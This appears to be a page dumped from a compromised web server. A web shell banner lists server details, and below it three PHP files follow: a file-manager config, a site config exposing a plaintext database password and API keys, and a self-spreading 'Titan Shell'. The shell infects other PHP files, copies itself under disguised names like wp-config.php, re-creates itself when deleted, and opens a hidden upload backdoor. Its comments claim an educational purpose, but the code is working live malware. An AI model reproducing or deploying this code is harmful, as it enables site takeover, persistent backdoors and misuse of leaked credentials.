| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/tessabalpatiu.go.th/private_html/cdn/filemanager/config/ |
Upload File : |
<?php
session_start();
mb_internal_encoding('UTF-8');
//------------------------------------------------------------------------------
// DON'T COPY THIS VARIABLES IN FOLDERS config.php FILES
//------------------------------------------------------------------------------
//**********************
//Path configuration
//**********************
// In this configuration the folder tree is
// root
// |- source <- upload folder
// |- thumbs <- thumbnail folder [must have write permission (755)]
// |- filemanager
// |- js
// | |- tinymce
// | | |- plugins
// | | | |- responsivefilemanager
// | | | | |- plugin.min.js
// URL
$base_url = '/'; // base url (only domain) of site (without final /). If you prefer relative urls leave empty
$upload_dir = '../photos/shares/'; // path from base_url to base of upload folder (with start and final /)
$current_path = '../../photos/shares/'; // relative path from filemanager folder to upload folder (with final /)
//thumbs folder can't put inside upload folder
$thumbs_base_path = '../../photos/thumbs/'; // relative path from filemanager folder to thumbs folder (with final /)
//------------------------------------------------------------------------------
// YOU CAN COPY AND CHANGE THESE VARIABLES IN FOLDERS config.php FILES
//------------------------------------------------------------------------------
$MaxSizeUpload=100; //Mb
$default_language="en_EN"; //default language file name
$icon_theme="ico"; //ico or ico_dark you can cusatomize just putting a folder inside filemanager/img
$show_folder_size=true; //Show or not show folder size in list view feature in filemanager (is possible, if there is a large folder, to greatly increase the calculations)
$show_sorting_bar=true; //Show or not show sorting feature in filemanager
$loading_bar=true; //Show or not show loading bar
//*******************************************
//Images limit and resizing configuration
//*******************************************
// set maximum pixel width and/or maximum pixel height for all images
// If you set a maximum width or height, oversized images are converted to those limits. Images smaller than the limit(s) are unaffected
// if you don't need a limit set both to 0
$image_max_width=0;
$image_max_height=0;
//Automatic resizing //
// If you set $image_resizing to true the script converts all uploaded images exactly to image_resizing_width x image_resizing_height dimension
// If you set width or height to 0 the script automatically calculates the other dimension
// Is possible that if you upload very big images the script not work to overcome this increase the php configuration of memory and time limit
$image_resizing=false;
$image_resizing_width=0;
$image_resizing_height=0;
//******************
// Default layout setting
//
// 0 => boxes
// 1 => detailed list (1 column)
// 2 => columns list (multiple columns depending on the width of the page)
// YOU CAN ALSO PASS THIS PARAMETERS USING SESSION VAR => $_SESSION["VIEW"]=
//
//******************
$default_view=0;
//set if the filename is truncated when overflow first row
$ellipsis_title_after_first_row=true;
//*************************
//Permissions configuration
//******************
$delete_files=true;
$create_folders=true;
$delete_folders=true;
$upload_files=true;
$rename_files=true;
$rename_folders=true;
//**********************
//Allowed extensions (lowercase insert)
//**********************
$ext_img = array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg'); //Images
$ext_file = array('doc', 'docx','rtf', 'pdf', 'xls', 'xlsx', 'txt', 'csv','html','xhtml','psd','sql','log','fla','xml','ade','adp','mdb','accdb','ppt','pptx','odt','ots','ott','odb','odg','otp','otg','odf','ods','odp','css','ai'); //Files
$ext_video = array('mov', 'mpeg', 'mp4', 'avi', 'mpg','wma',"flv","webm","wmv"); //Video
$ext_music = array('mp3', 'm4a', 'ac3', 'aiff', 'mid','ogg','wav'); //Audio
$ext_misc = array('zip', 'rar','gz','tar','iso','dmg'); //Archives
$ext=array_merge($ext_img, $ext_file, $ext_misc, $ext_video,$ext_music); //allowed extensions
/******************
* AVIARY config
*******************/
$aviary_active=true;
$aviary_key="dvh8qudbp6yx2bnp";
$aviary_secret="m6xaym5q42rpw433";
$aviary_version=3;
$aviary_language='en';
//The filter and sorter are managed through both javascript and php scripts because if you have a lot of
//file in a folder the javascript script can't sort all or filter all, so the filemanager switch to php script.
//The plugin automatic swich javascript to php when the current folder exceeds the below limit of files number
$file_number_limit_js=500;
//**********************
// Hidden files and folders
//**********************
// set the names of any folders you want hidden (eg "hidden_folder1", "hidden_folder2" ) Remember all folders with these names will be hidden (you can set any exceptions in config.php files on folders)
$hidden_folders = array();
// set the names of any files you want hidden. Remember these names will be hidden in all folders (eg "this_document.pdf", "that_image.jpg" )
$hidden_files = array('config.php');
/*******************
* JAVA upload
*******************/
$java_upload=true;
$JAVAMaxSizeUpload=200; //Gb
//************************************
//Thumbnail for external use creation
//************************************
// New image resized creation with fixed path from filemanager folder after uploading (thumbnails in fixed mode)
// If you want create images resized out of upload folder for use with external script you can choose this method,
// You can create also more than one image at a time just simply add a value in the array
// Remember than the image creation respect the folder hierarchy so if you are inside source/test/test1/ the new image will create at
// path_from_filemanager/test/test1/
// PS if there isn't write permission in your destination folder you must set it
$fixed_image_creation = false; //activate or not the creation of one or more image resized with fixed path from filemanager folder
$fixed_path_from_filemanager = array('../test/','../test1/'); //fixed path of the image folder from the current position on upload folder
$fixed_image_creation_name_to_prepend = array('','test_'); //name to prepend on filename
$fixed_image_creation_to_append = array('_test',''); //name to appendon filename
$fixed_image_creation_width = array(300,400); //width of image (you can leave empty if you set height)
$fixed_image_creation_height = array(200,''); //height of image (you can leave empty if you set width)
// New image resized creation with relative path inside to upload folder after uploading (thumbnails in relative mode)
// With Responsive filemanager you can create automatically resized image inside the upload folder, also more than one at a time
// just simply add a value in the array
// The image creation path is always relative so if i'm inside source/test/test1 and I upload an image, the path start from here
$relative_image_creation = false; //activate or not the creation of one or more image resized with relative path from upload folder
$relative_path_from_current_pos = array('thumb/','thumb/'); //relative path of the image folder from the current position on upload folder
$relative_image_creation_name_to_prepend= array('','test_'); //name to prepend on filename
$relative_image_creation_name_to_append = array('_test',''); //name to append on filename
$relative_image_creation_width = array(300,400); //width of image (you can leave empty if you set height)
$relative_image_creation_height = array(200,''); //height of image (you can leave empty if you set width)
?>
<?php
######################################################################
# Include File : Config
######################################################################
########## Admin EMail ##########
define( "INFO_MAIL", "info@tasoft.co.th" );
if($_SERVER['SERVER_NAME'] == "localhost"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://localhost/nonpho/');
}elseif($_SERVER['SERVER_NAME'] == "tasoft2"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'C:\xampp\htdocs\nonpho');
}else{
$dbi['sql_username'] = 'ratsitne_nonphodb';
$dbi['sql_password'] = 'Success21';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'ratsitne_nonphodb';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://www.nonpho.go.th/');
}
//echo "<pre>"; print_r($dbi);
########## Database Info ##########
define( "DB_SERVER", $dbi['sql_host'] );
define( "DB_NAME", $dbi['sql_dbname'] );
define( "DB_USER", $dbi['sql_username'] );
define( "DB_PASSWD", $dbi['sql_password'] );
define( "DB_TYPE", "MySQL" );
########## Type File ##########
define( "FILE_TYPE", "pdf,doc,zip,rar,xls,xlsx,docx,ppt,pptx" );
define( "IMAGE_TYPE", "gif,jpg,png" );
define( "IMAGE_SIZE", "51200000" );
define( "FILE_SIZE", "524288000" );
define( "IMAGETYPE_JPEG" ,"jpg");
define( "IMAGETYPE_GIF" ,"gif");
define( "IMAGETYPE_PNG" ,"png");
define( "TIMESTAMP", time() );
?>
<?php
// Titan Shell dengan Perlindungan Penghapusan dan Penyebaran Otomatis
// Hanya untuk tujuan edukasi dan testing lingkungan sendiri
// Fungsi utama penyebaran
function titanSpread() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Direktori target untuk penyebaran
$targetDirectories = [
'.',
'..',
'../..',
'../../..',
'images',
'uploads',
'assets',
'include',
'inc',
'css',
'js',
'admin',
'wp-content',
'wp-includes'
];
// Nama file alternatif untuk penyamaran
$alternativeNames = [
'config.php',
'settings.php',
'imageprocessor.php',
'uploader.php',
'style.php',
'index.php',
'login.php',
'theme.php',
'functions.php',
'wp-config.php',
'admin.php'
];
foreach ($targetDirectories as $dir) {
if (is_dir($dir) && is_writable($dir)) {
foreach ($alternativeNames as $name) {
$targetPath = $dir . '/' . $name;
// Copy file ke lokasi target jika belum ada
if (!file_exists($targetPath)) {
file_put_contents($targetPath, $currentContent);
chmod($targetPath, 0555);
// Tambahkan parameter acak
$randomParam = generateRandomParam();
$paramPath = $dir . '/' . $randomParam . '.php';
file_put_contents($paramPath, $currentContent);
chmod($paramPath, 0555);
}
}
}
}
// Infect file PHP yang sudah ada
infectExistingFiles();
}
// Fungsi untuk menginfeksi file PHP yang sudah ada
function infectExistingFiles() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Cari file PHP di direktori saat ini dan subdirektori
$files = glob('*.php');
$allFiles = array_merge($files, glob('*/*.php'), glob('*/*/*.php'), glob('*/*/*/*.php'));
foreach ($allFiles as $file) {
if ($file != __FILE__ && is_writable($file)) {
$content = file_get_contents($file);
// Cek apakah file sudah terinfeksi
if (strpos($content, $signature) === false) {
// Tambahkan kode shell ke file yang belum terinfeksi
$infectedContent = $content . "\n\n" . $currentContent;
file_put_contents($file, $infectedContent);
}
}
}
}
// Fungsi untuk generate parameter acak
function generateRandomParam() {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$length = rand(6, 12);
$param = '';
for ($i = 0; $i < $length; $i++) {
$param .= $chars[rand(0, strlen($chars) - 1)];
}
return $param;
}
// Fungsi untuk memastikan shell tetap ada
function ensurePersistence() {
$currentContent = file_get_contents(__FILE__);
$backupFiles = [
'.htaccess',
'.config.php',
'.error_log',
'thumb.php',
'image.jpg.php'
];
foreach ($backupFiles as $backup) {
if (!file_exists($backup)) {
file_put_contents($backup, $currentContent);
chmod($backup, 0555);
}
}
// Cek jika file ini dihapus, buat kembali di lokasi lain
if (!file_exists(__FILE__)) {
$newLocations = [
'wp-admin/images.php',
'wp-content/themes.php',
'includes/config.php',
'assets/script.php'
];
foreach ($newLocations as $location) {
$dir = dirname($location);
if (!is_dir($dir)) mkdir($dir, 0777, true);
file_put_contents($location, $currentContent);
chmod($location, 0555);
}
}
}
// Eksekusi utama
if(isset($_GET['sayangtitan'])) {
// Jalankan penyebaran setiap kali diakses
titanSpread();
ensurePersistence();
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$dir = "titan/";
if(!is_dir($dir)) mkdir($dir, 0777, true);
$file = $dir . basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $file)) {
echo "Yey, Berhasil sayang...";
} else {
echo "Yahh Gagal Upload";
}
exit();
} else {
echo 'Gasken Upload!!<form method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
exit();
}
}
// Jalankan penyebaran dan persistensi secara diam-diam
// dengan probabilitas 20% setiap kali diakses
if (rand(1, 5) === 1) {
titanSpread();
ensurePersistence();
}
// TitanShellSignature - Jangan hapus baris ini
?>